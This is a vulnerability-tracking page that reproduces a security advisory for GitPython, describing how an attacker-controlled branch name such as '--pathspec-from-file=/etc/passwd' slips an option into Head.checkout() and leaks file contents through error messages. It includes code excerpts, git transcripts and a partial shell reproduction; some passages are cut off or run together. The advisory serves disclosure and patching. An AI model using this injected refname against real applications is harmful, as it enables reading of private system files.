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Response snapshot Oct 27, 2026, 16:31 UTC

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VulnerabilityGHSA-23mf-xhv8-69c2

GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)

> **A note on the referenced files.** This report was submitted through GitHub's private > vulnerability reporting API, which carries no attachments. Every transcript this report leans > on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.

Published Updated

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: GitPython: 3.2.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-23mf-xhv8-69c2 (opens a new tab)

What happened

> **A note on the referenced files.** This report was submitted through GitHub's private > vulnerability reporting API, which carries no attachments. Every transcript this report leans > on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`, > per-case transcripts, `evidence.md`, `negative-controls.

md`, blob-sweep tables) are the local > evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy > to send the bundle by any channel you prefer, or to open a private fork — just say which. The > PoC scripts are self-contained and reproduce the result from a clean environment.

---

**Affected:** ` "The audit also found that **reset's positional commit could carry the option before its argument > separator**. […] **Check reset's positional commit as well as keyword options**"

Continue reading

`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.

## Affected Asset

| | | |---|---| | Package | `GitPython` (PyPI) | | Affected versions | **` List[str]: """Collect possible option spellings before command-line transformation.""" options = [ option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith("-") ] ```

So `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional arguments this method puts on the command line.* That is fine when the method has no attacker-influenced positional, or when it separates them with `--`.

`git/refs/head.py:283-293` — `Head.checkout()` has neither:

```python if not allow_unsafe_options: Git.check_unsafe_options( options=Git._option_candidates([], kwargs), unsafe_options=Git.unsafe_git_pathspec_from_file_options, ) kwargs["f"] = force if kwargs["f"] is False: kwargs.pop("f")

self.repo.git.checkout(self, **kwargs) ```

`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv, and is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`, so keyword-derived options precede positionals — which is why the rest of the library puts `"--"` first (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count` all do). `Head.checkout` does not.

### Why the branch name is attacker-controlled

Git accepts a refname whose branch component begins with `-` and contains `/` (`raw/02-refname-accepted-and-cloned.txt`):

``` >>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd' exit=0 stderr='' => un refname que empieza con '-' y lleva '/' es VALIDO para git

>>> git -C update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099 exit=0 stderr='' >>> git -C symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd' exit=0 HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd ref en disco como arbol jerarquico: True

>>> Repo.clone_from('file:// ', ) # la app solo clona ramas LOCALES creadas por el clone, sin que nadie las pida: refs/heads/--pathspec-from-file=/etc/passwd repo.active_branch.name = '--pathspec-from-file=/etc/passwd' coincide con el nombre hostil: True ```

The transcript above also shows the second half: `git clone` **materialises that branch locally on its own** when the remote `HEAD` points at it — the consuming application never asks for it.

A plain git server accepts the refname over `receive-pack`, with no `--force` and no special config (`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server — a `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://` transport, which exercises the same git wire protocol as `https://`; I did not test against a hosted forge, since that would mean writing to a third party.

### Why the leak reaches the caller

The file contents are in `CommandError.__str__`, not only in the `.stderr` attribute (`git/exc.py`):

```python self.stderr = stderr_decode and "\n stderr: '%s'" % stderr_decode or ""

def __str__(self) -> str: return (self._msg + "\n cmdline: %s%s%s") % ( self._cmd, self._cause, self._cmdline, self.stdout, self.stderr, ) ```

So `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the file. The developer does not have to know `.stderr` exists.

### Full chain

``` Repo.clone_from( ) ↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd ↓ git clone creates that LOCAL branch unasked repo.active_branch → Head with name = "--pathspec-from-file=/etc/passwd" ↓ Head.checkout() git/refs/head.py:286 — guard inspects kwargs only ↓ self.repo.git.checkout(self, **kwargs) git/refs/head.

py:293 — no "--" git checkout --pathspec-from-file=/etc/passwd ↓ git emits one `error:` per unmatched pathspec — one per line of the file GitCommandError → CommandError.__str__ → the consumer ```

## Steps to Reproduce

Environment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local — temporary repositories and the `file://` transport. No remote hosts, no third-party repositories.

The bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per scenario under `raw/`. Minimal manual reproduction:

```bash python3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62

W=$(mktemp -d) git init -q -b main "$W/a"; echo x > "$W/a/f.txt" git -C "$W/a" add f.txt git -C "$W/a" -c user.email=a@b -c user.name=a commit -qm c git clone -q --bare "$W/a" "$W/a.git" SHA=$(git -C "$W/a.git" rev-parse HEAD)

# the attacker names their default branch after the file they want git -C "$W/a.git" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' "$SHA" git -C "$W/a.git" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'

cat > "$W/consumer.py" GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34 ```

## Impact

An attacker who can get an application to clone a repository they control reads any

Affected package ranges reported by GitHub: GitPython: <= 3.1.62

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-23mf-xhv8-69c2 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-23mf-xhv8-69c2, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679). https://kevwire.com/record/GHSA-23mf-xhv8-69c2

MLA

"GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)." KEVWire, 27 Oct. 2026, kevwire.com/record/GHSA-23mf-xhv8-69c2.

Chicago

KEVWire. "GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)." Last modified October 27, 2026. https://kevwire.com/record/GHSA-23mf-xhv8-69c2.

Evidence summary (plain text)

GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679) (Oct 27, 2026).
> **A note on the referenced files.** This report was submitted through GitHub's private
> vulnerability reporting API, which carries no attachments. Every transcript this report leans
> on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,
> per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local
> evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy
> to send the bundle by any channel you prefer, or to open a private fork — just say which. The
> PoC scripts are self-contained and reproduce the result from a clean environment.

---
Sources:
GitHub-reviewed advisory GHSA-23mf-xhv8-69c2: https://github.com/advisories/GHSA-23mf-xhv8-69c2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-23mf-xhv8-69c2.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:25 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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